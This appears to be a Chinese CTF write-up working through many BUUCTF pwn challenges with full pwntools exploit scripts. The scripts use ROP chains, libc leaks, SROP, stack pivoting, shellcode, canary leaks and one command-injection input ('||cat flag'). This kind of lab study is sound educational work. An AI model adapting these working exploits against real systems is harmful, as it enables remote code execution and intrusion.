1 2 3 4 5 6 7 8 9 10 11 12 13 14 int vuln () { char nptr[32 ]; int v2; printf ("How many bytes do you want me to read? " ); get_n((int )nptr, 4u ); v2 = atoi(nptr); if ( v2 > 32 ) return printf ("No! That size (%d) is too large!\n" , v2); printf ("Ok, sounds good. Give me %u bytes of data!\n" , v2); get_n((int )nptr, v2); return printf ("You said: %s\n" , nptr); }
和bjdctf_2020_babystack2类似输入-1绕过
溢出的字符数量为48
题目还给出了do_thing函数
1 2 3 4 void do_thing () { __asm { int 80 h; LINUX - } }
应该是题目给出的gadget这样就可以直接中断调用execve函数了
结果ROPgadget看了一下找不到控制eax的payload只能用泄露libc的方式来打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./pwn2_sctf_2016" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 26672 io = remote(host, port) printf_got = elf.got['printf' ] printf = 0x08048370 vuln = 0x0804852F io.sendline("-1" ) payload = 'a' * 48 + p32(printf) + p32(vuln) + p32(printf_got) io.sendline(payload) io.recvuntil('\x0a' ) io.recvuntil('\x0a' ) printf_address = u32(io.recv()[0 :4 ]) print(hex(printf_address)) libc = LibcSearcher('printf' , printf_address) base = printf_address - libc.dump('printf' ) print(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) io.sendline("-1" ) payload = 'a' * 48 + p32(system) + p32(vuln) + p32(bin_sh) io.sendline(payload) io.interactive()
jarvisoj_tell_me_something 1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
溢出的字符为136
直接溢出到good_game打印flag就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./guestbook" host = "node4.buuoj.cn" port = 25652 io = remote(host, port) good_game = 0x0400620 payload = 'a' * 136 + p64(good_game) io.sendline(payload) io.interactive()
[HarekazeCTF2019]baby_rop2 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
溢出字符数为40
就是找ROP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./babyrop2" libcfile = "./libc.so.6" elf = ELF(pwnfile) libc = ELF(libcfile) main = 0x400636 printf = 0x4004F0 format_address = 0x400770 printf_got = elf.got["printf" ] read_got = elf.got["read" ] host = "node4.buuoj.cn" port = 26168 io = remote(host, port) pop_rdi_ret = 0x400733 ret = 0x4006CB pop_rsi_r15_ret = 0x400731 payload = 'a' * 40 + p64(pop_rdi_ret) + p64(format_address) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0 ) + p64(printf) + p64(main) local_payload = 'a' * 40 + p64(ret) + p64(pop_rdi_ret) + p64(printf_got) + p64(printf) + p64(main) io.sendline(payload) io.recvuntil('\x6e\x2c\x20' ) io.recvuntil('\x6e\x2c\x20' ) read_address = u64(io.recv(6 ).ljust(8 , '\x00' )) print(hex(read_address)) libc = LibcSearcher("read" , read_address) base = read_address - libc.dump("read" ) print(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) local_payload = 'a' * 40 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(main) payload = 'a' * 40 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(main) io.sendline(payload) io.interactive()
很坑..
local_payload本地可以打通远程就不可以了
看了些wp发现还要读read的地址
不知道为什么别的就不可以了本地是可以的
然后flag在/home/babyrop2/
jarvisoj_level3 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
又是溢出找ROP链
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf[136 ]; write (1 , "Input:\n" , 7u ); return read (0 , buf, 0x100 u); }
常规的泄露libc然后直接打就好
溢出字符数为140
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./level3" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 28988 io = remote(host, port) write_got = elf.got["write" ] write = 0x08048340 vuln = 0x0804844B payload = 'a' * 140 + p32(write) + p32(vuln) + p32(1 ) + p32(write_got) + p32(0x8 ) io.sendline(payload) io.recvuntil("Input:\x0a" ) write_address = u32(io.recv()[0 :4 ]) print(hex(write_address)) libc = LibcSearcher("write" , write_address) base = write_address - libc.dump("write" ) print(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) payload = 'a' * 140 + p32(system) + p32(vuln) + p32(bin_sh) io.sendline(payload) io.interactive()
ciscn_2019_s_3 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
漏洞在vuln函数
1 2 3 4 5 6 7 8 signed __int64 vuln () { signed __int64 v0; char buf[16 ]; v0 = sys_read(0 , buf, 0x400 uLL); return sys_write(1u , buf, 0x30 uLL); }
还是构建ROP
不过题目中还有gadgets函数
看了一下是mov rax, 0Fh
基本就是直接用系统调用了
系统调用号15是sigreturn需要用到SROP
详细可以看
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/
说简单点就是可以把栈里的地址直接覆盖到寄存器
直接用pwntools自带的写payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./ciscn_s_3" io = process(pwnfile) elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 28318 io = remote(host, port) gadgets = 0x4004DA syscall = 0x400517 vuln = 0x4004ED payload = "/bin/sh\x00" + 'a' * 8 + p64(vuln) io.sendline(payload) stack = u64(io.recv()[0x20 :0x28 ]) bin_sh = stack-0x118 sigframe = SigreturnFrame() sigframe.rax = 59 sigframe.rdi = bin_sh sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rsp = stack sigframe.rip = syscall payload = "/bin/sh\x00" + 'a' * 8 + p64(gadgets) + p64(syscall) + str(sigframe) io.sendline(payload) io.interactive()
babyheap_0ctf_2017 堆先放放
ez_pz_hackover_2016 1 2 3 4 5 6 Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
保护这样子应该是要在栈里面写shellcode了
看看chall函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int chall () { size_t v0; int result; char s[1024 ]; _BYTE *v3; printf ("Yippie, lets crash: %p\n" , s); printf ("Whats your name?\n" ); printf ("> " ); fgets(s, 1023 , stdin ); v0 = strlen (s); v3 = memchr (s, 10 , v0); if ( v3 ) *v3 = 0 ; printf ("\nWelcome %s!\n" , s); result = strcmp (s, "crashme" ); if ( !result ) result = vuln((char )s, 0x400 u); return result; }
溢出点在vuln函数的memcpy里面
要先绕过crashme在后面写payload
前面会输出一个地址,用输出的地址算出栈的地址然后写payload跳过去就可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./ez_pz_hackover_2016" host = "node4.buuoj.cn" port = 29039 io = remote(host, port) io.recvuntil("Yippie, lets crash: " ) address = io.recv(10 ) shellcode_address = int(address, 16 ) + 27 payload = flat(["crashme" + '\x00' + 'a' * 18 + p32(shellcode_address-0x37 ) + "\x90\x90" ]) + asm(shellcraft.i386.linux.sh()) io.sendline(payload) io.interactive()
picoctf_2018_rop chain 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
漏洞点vuln函数
1 2 3 4 5 6 7 char *vuln () { char s[24 ]; printf ("Enter your input> " ); return gets(s); }
看了一下题目里面还有很多函数不知道作用..
就直接打最普通的泄露libc吧
泄露字符数为28
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./PicoCTF_2018_rop_chain" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 26778 io = remote(host, port) vuln = 0x08048714 getegid_got = elf.got["getegid" ] printf = 0x08048460 payload = 'a' * 28 + p32(printf) + p32(vuln) + p32(getegid_got) io.sendline(payload) io.recvuntil("Enter your input> " ) getegid_address = u32(io.recv()[0 :4 ]) log.success(hex(getegid_address)) libc = LibcSearcher("getegid" , getegid_address) base = getegid_address - libc.dump("getegid" ) log.success(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) payload = 'a' * 28 + p32(system) + p32(0 ) + p32(bin_sh) io.sendline(payload) io.interactive()
jarvisoj_level3_x64 1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
和32位的除了调用约定别的基本一样
溢出字符数为136
因为write需要三个参数所以可以用ret2csu
不过dbg看一下会发现rdx可以服用,只需要控制rdi和rsi就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./level3_x64" elf = ELF(pwnfile) pop_rdi_ret = 0x04006b3 pop_rsi_r15_ret = 0x4006b1 write = 0x4004B0 write_got = elf.got["write" ] vulnerable = 0x4005E6 host = "node4.buuoj.cn" port = 26808 io = remote(host, port) payload = 'a' * 136 + p64(pop_rdi_ret) + p64(1 ) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0 ) + p64(write) + p64(vulnerable) io.sendline(payload) io.recvuntil("Input:\x0a" ) write_address = u64(io.recv(6 ).ljust(8 , '\x00' )) log.success(hex(write_address)) libc = LibcSearcher('write' , write_address) base = write_address - libc.dump('write' ) log.success(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) payload = 'a' * 136 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(vulnerable) io.sendline(payload) io.interactive()
jarvisoj_level4 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
和level3区别就是少了次write
1 2 3 4 5 6 ssize_t vulnerable_function () { char buf[136 ]; return read (0 , buf, 256u ); }
泄露read的地址就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./level4" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 28979 io = remote(host, port) read_got = elf.got["read" ] write = 0x08048340 vuln = 0x0804844B payload = 'a' * 140 + p32(write) + p32(vuln) + p32(1 ) + p32(read_got) + p32(0x8 ) io.sendline(payload) read_address = u32(io.recv()[0 :4 ]) print(hex(read_address)) libc = LibcSearcher("read" , read_address) base = read_address - libc.dump("read" ) print(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) payload = 'a' * 140 + p32(system) + p32(vuln) + p32(bin_sh) io.sendline(payload) io.interactive()
wustctf2020_getshell 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
直接溢出到shell函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./wustctf2020_getshell" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 26543 io = remote(host, port) shell = 0x0804851B payload = 'a' * 28 + p32(shell) io.sendline(payload) io.interactive()
bjdctf_2020_babyrop2 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
这题开了Canary
看看伪代码有vuln函数和gift函数
gift函数有格式化字符串漏洞
这就很清楚了gift泄露Canary然后再栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./bjdctf_2020_babyrop2" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 28675 io = remote(host, port) pop_rdi_ret = 0x400993 main = 0x4008DA puts = 0x400610 puts_got = elf.got["puts" ] payload = "%7$p" io.sendline(payload) io.recvuntil("I'll give u some gift to help u!\x0a" ) canary = int(io.recv()[2 :18 ], 16 ) log.success("canary: " + hex(canary)) payload = 'a' * 24 + p64(canary) +p64(0 ) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts) + p64(main) io.sendline(payload) puts_got_address = u64(io.recv(6 ).ljust(8 , '\x00' )) print(hex(puts_got_address)) libc = LibcSearcher('puts' , puts_got_address) base = puts_got_address - libc.dump('puts' ) print(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) payload = "%7$p" io.sendline(payload) io.recvuntil("I'll give u some gift to help u!\x0a" ) canary = int(io.recv()[2 :18 ], 16 ) log.success("canary: " + hex(canary)) payload = 'a' * 24 + p64(canary) +p64(0 ) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(main) io.sendline(payload) io.interactive()
[Black Watch 入群题]PWN 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
漏洞点在vul_function函数
1 2 3 4 5 6 7 8 9 10 11 12 13 ssize_t vul_function () { size_t v0; size_t v1; char buf[24 ]; v0 = strlen (m1); write (1 , m1, v0); read (0 , &s, 0x200 u); v1 = strlen (m2); write (1 , m2, v1); return read (0 , buf, 0x20 u); }
先是一次读200字节到bss段
然后下面read在溢出
看静态可以知道溢出的字符数为24,这样可控的只有8字节了
是构造不了ROP的
本来想把shellcode写入bss段然后跳过去执行shellcode
结果发现bss不可执行
看了下wp发现还是需要栈迁移
简单说就是需要把栈布置到bss段然后用leave把可写bss开头修改为栈顶
以前的ebp都是无用的可以直接覆盖掉所以要24+4
这次需要栈迁移ebp需要布置所以溢出字符数为24
挺有意思的一道题就是有点不好调
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./spwn" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 28489 io = remote(host, port) bss = 0x0804A300 leave = 0x08048511 main = 0x08048513 write_got = elf.got["write" ] write = 0x08048380 payload = p32(0 ) + p32(write) + p32(main)+ p32(1 ) + p32(write_got) + p32(0x8 ) io.recvuntil("name?" ) io.send(payload) payload = 'a' * 24 + p32(bss) + p32(leave) io.recvuntil("say?" ) io.send(payload) write_address = u32(io.recv()[0 :4 ]) log.success(hex(write_address)) libc = LibcSearcher("write" , write_address) base = write_address - libc.dump("write" ) log.success(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) payload = p32(0 ) + p32(system) + p32(main) + p32(bin_sh) io.send(payload) payload = 'a' * 24 + p32(bss) + p32(leave) io.send(payload) io.interactive()
pwnable_orw 1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
对比前面来说是新题型
意思就是不可以执行命令需要用read读flag然后write打印出来这样
看保护应该是需要写shellcode的
漏洞在主函数
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { orw_seccomp(); printf ("Give my your shellcode:" ); read (0 , &shellcode, 0xC8 u); ((void (*)(void ))shellcode)(); return 0 ; }
写的很直白直接写shellcode了
这题是32位的,不过要用到中断所以调用约定是
ebx,ecx,edx,esi,edi,ebp
直接压到栈里是不会调用的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./orw" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 29461 io = remote(host, port) data = 0x0804A020 io.recvuntil("Give my your shellcode:" ) open_asm = ''' mov eax,5; push 0x00000067; push 0x616c662f; xor ecx,ecx; xor edx,edx; mov ebx,esp; int 0x80; ''' read_asm = ''' mov ebx,eax; mov eax,3; mov ecx,0x0804A020; mov edx,0x50 int 0x80 ''' write_asm = ''' mov eax,4; mov ebx,1; mov ecx,0x0804A020; mov edx,0x50; int 0x80 ''' payload = asm(open_asm) + asm(read_asm) + asm(write_asm) io.sendline(payload) io.interactive()
bjdctf_2020_router 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
这题..可以直接当web题打
选择1然后输入
要写exp应该就是下面这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = "./bjdctf_2020_router" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 27129 io = remote(host, port) io.sendline("1" ) io.sendline("||cat flag" ) io.interactive()
[ZJCTF 2019]EasyHeap mrctf2020_shellcode 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
这题F5伪代码出不来
直接看汇编基本就是写到栈然后去执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(log_level = "debug" , arch = "amd64" , os = "linux" ) pwnfile = "./mrctf2020_shellcode" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 27965 io = remote(host, port) payload = asm(shellcraft.sh()) io.sendline(payload) io.interactive()
picoctf_2018_buffer overflow 1 1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
看了下漏洞函数好像是题目泄露栈地址后跳到shellcode执行
1 2 3 4 5 6 7 8 9 int vuln () { int v0; char s[40 ]; gets(s); v0 = get_return_address(); return printf ("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n" , v0); }
结果还有win函数..直接溢出然后跳到win就可以了..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./PicoCTF_2018_buffer_overflow_1" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 25803 io = remote(host, port) win = 0x080485CB payload = 'a' * 44 + p32(win) io.sendline(payload) io.interactive()
hitcontraining_uaf 堆题
inndy_rop 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
漏洞函数overflow
1 2 3 4 5 6 int overflow () { char v1[12 ]; return gets(v1); }
静态文件
直接找rop就可以了
结果不是很好找,直接用sh不可以
看了下网上的wp基本都是用ROPgadget的ropchain构造的链子
读了生成的链子还挺有意思的
就是有些地方写的可能复杂了,就重写了一下
基本的意思是先把data段的地址存到edx,然后把/bin字符串存到eax,用mov把eax的值存到edx指向的地址也就是data段,相同的/sh\x00也写到eax然后存到data+0x4的位置
写入了/bin/sh然后知道了地址就可以直接用系统调用getshell了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./rop" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 28179 io = remote(host, port) int_80 = 0x0806c943 ebx_edx_ret = 0x0806ecd9 eax_ret = 0x080b8016 ecx_ret = 0x080de769 edx_ret = 0x0806ecda edx_eax_mov = 0x0805466b data = 0x080EA060 payload = 'a' * 16 + p32(edx_ret) + p32(data) + p32(eax_ret) + "/bin" + p32(edx_eax_mov) + p32(edx_ret) + p32(data+0x4 ) + p32(eax_ret) + "/sh\x00" + p32(edx_eax_mov) + p32(eax_ret) + p32(0xb ) + p32(ebx_edx_ret) + p32(data) + p32(0 ) + p32(ecx_ret) + p32(0 ) + p32(int_80) io.sendline(payload) io.interactive()
jarvisoj_test_your_memory 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
这题直接溢出后调用system然后用题目给出的cat flag字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./memory" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 27101 io = remote(host, port) system = 0x08048440 aCatFlag = 0x080487E0 payload = 'a' * 23 + p32(system) + p32(system) + p32(aCatFlag) io.sendline(payload) io.interactive()
picoctf_2018_buffer overflow 2 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
这题和picoctf_2018_buffer overflow 1基本一样,就是在win函数中多了判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 char *__cdecl win (int a1, int a2) { char *result; char s[64 ]; FILE *stream; stream = fopen("flag.txt" , "r" ); if ( !stream ) { puts ( "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server." ); exit (0 ); } result = fgets(s, 64 , stream); if ( a1 == 0xDEADBEEF && a2 == 0xDEADC0DE ) result = (char *)printf (s); return result; }
a1和a2要等于对应的字符串
直接改exp就好
注意溢出的字符数是不一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./PicoCTF_2018_buffer_overflow_2" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 25588 io = remote(host, port) win = 0x080485CB a1 = 0xDEADBEEF a2 = 0xDEADC0DE payload = 'a' * 112 + p32(win) + p32(win) + p32(a1) + p32(a2) io.sendline(payload) io.interactive()
cmcc_simplerop 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
和inndy_rop类似
问题就是这题有长度限制
/bin/sh字符串的写和上面相同
接下来就是找ROP找到就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./simplerop" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 29954 io = remote(host, port) int_80 = 0x080493e1 eax_ret = 0x080bae06 ecx_ebx_ret = 0x0806e851 edx_ret = 0x0806e82a edx_eax_mov = 0x0809a15d edx_ecx_ebx_ret = 0x0806e850 data = 0x080EA060 payload = 'a' * 32 + p32(edx_ret) + p32(data) + p32(eax_ret) + "/bin" + p32(edx_eax_mov) + p32(edx_ret) + p32(data+0x4 ) + p32(eax_ret) + "/sh\x00" + p32(edx_eax_mov) + p32(eax_ret) + p32(0xb ) + p32(edx_ecx_ebx_ret) + p32(0 ) + p32(0 ) + p32(data) + p32(int_80) io.sendline(payload) io.interactive()
xdctf2015_pwn200 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
就是普通的泄露libc然后打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./bof" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 25423 io = remote(host, port) write_got = elf.got["write" ] write = 0x080483C0 main = 0x0804851C payload = 'a' * 112 + p32(write) + p32(main) + p32(1 ) + p32(write_got) + p32(0x8 ) io.recvuntil("Welcome to XDCTF2015~!\x0a" ) io.sendline(payload) write_address = u32(io.recv()[0 :4 ]) log.success(hex(write_address)) libc = LibcSearcher("write" , write_address) base = write_address - libc.dump("write" ) log.success(hex(base)) bin_sh = base + libc.dump('str_bin_sh' ) system = base + libc.dump('system' ) payload = 'a' * 112 + p32(system) + p32(main) + p32(bin_sh) io.sendline(payload) io.interactive()
bbys_tu_2016 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
直接溢出执行指定函数
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(log_level = "debug" , arch = "i386" , os = "linux" ) pwnfile = "./bbys_tu_2016" host = "node4.buuoj.cn" port = 25094 io = remote(host, port) printFlag = 0x0804856D payload = 'a' * 24 + p32(printFlag) io.sendline(payload) io.interactive()
wustctf2020_getshell_2 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
这题shell函数里面的system参数是用不了了
只需要提取最后sh就可以了
还有一点溢出的字符被限制了只能溢出8字节所以system的plt也用不了了
直接调用shell里面的call system执行这样就够了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./wustctf2020_getshell_2" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 26528 io = remote(host, port) sh = 0x08048670 callsyetem = 0x08048529 payload = 'a' * 28 + p32(callsyetem) + p32(sh) io.sendline(payload) io.interactive()from pwn import * from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./wustctf2020_getshell_2" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 26528 io = remote(host, port) sh = 0x08048670 callsyetem = 0x08048529 payload = 'a' * 28 + p32(callsyetem) + p32(sh) io.sendline(payload) io.interactive()
mrctf2020_easyoverflow 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保护全开..
主要是check函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 __fastcall check (__int64 a1) { int i; int v3; v3 = strlen (fake_flag); for ( i = 0 ; ; ++i ) { if ( i == v3 ) return 1L L; if ( *(_BYTE *)(i + a1) != fake_flag[i] ) break ; } return 0L L; }
需要a1等于fake_flag
然后再回去看看主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __cdecl main (int argc, const char **argv, const char **envp) { char v4[48 ]; char v5[24 ]; __int64 v6; __int64 v7; __int64 v8; __int16 v9; unsigned __int64 v10; v10 = __readfsqword(0x28 u); strcpy (v5, "ju3t_@_f@k3_f1@g" ); v6 = 0L L; v7 = 0L L; v8 = 0L L; v9 = 0 ; gets(v4, argv); if ( !(unsigned int )check((__int64)v5) ) exit (0 ); system("/bin/sh" ); return 0 ; }
可控的是v4,传到check里面的是v5
溢出覆盖v5变成fake_flag就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = "./mrctf2020_easyoverflow" elf = ELF(pwnfile) host = "node4.buuoj.cn" port = 26809 io = remote(host, port) payload = 'a' * 0x30 + "n0t_r3@11y_f1@g" io.sendline(payload) io.interactive()
[ZJCTF 2019]Login 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
c++看的真的好不清楚啊
这题也不是普通的栈溢出,需要倒推rax的位置..
大致就是在password_checker函数里面
1 2 3 4 5 6 7 8 .text:0000000000400A3E lea rax, [rbp+s] .text:0000000000400A42 mov rdi, rax ; s .text:0000000000400A45 call _puts .text:0000000000400A4A ; 10: (**a1)(); .text:0000000000400A4A mov rax, [rbp+var_68] .text:0000000000400A4E mov rax, [rax] .text:0000000000400A51 mov rax, [rax] .text:0000000000400A54 call rax
有这么段代码,最后会call rax
在走到mov rax, [rbp+var_68]的时候栈的这个位置是这么个情况
1 0x7fffffffddc8 —▸ 0x7fffffffde50 —▸ 0x7fffffffde18 —▸ 0x4000b4
多级指针,最后rax肯定就是call 0x4000b4这里了
所以要想办法覆盖0x7fffffffde18的值
然后在输入密码的时候保存的栈地址是0x7fffffffddd0在0x7fffffffde18上面
这样就可以一直往下覆盖到0x7fffffffde18
覆盖0x7fffffffde18为getshell的地址
还有点密码是用strcmp来判断的所以需要截断
先输入密码用然后截断最后再覆盖到0x7fffffffde18就可以了
如果以后想到了再详细写吧
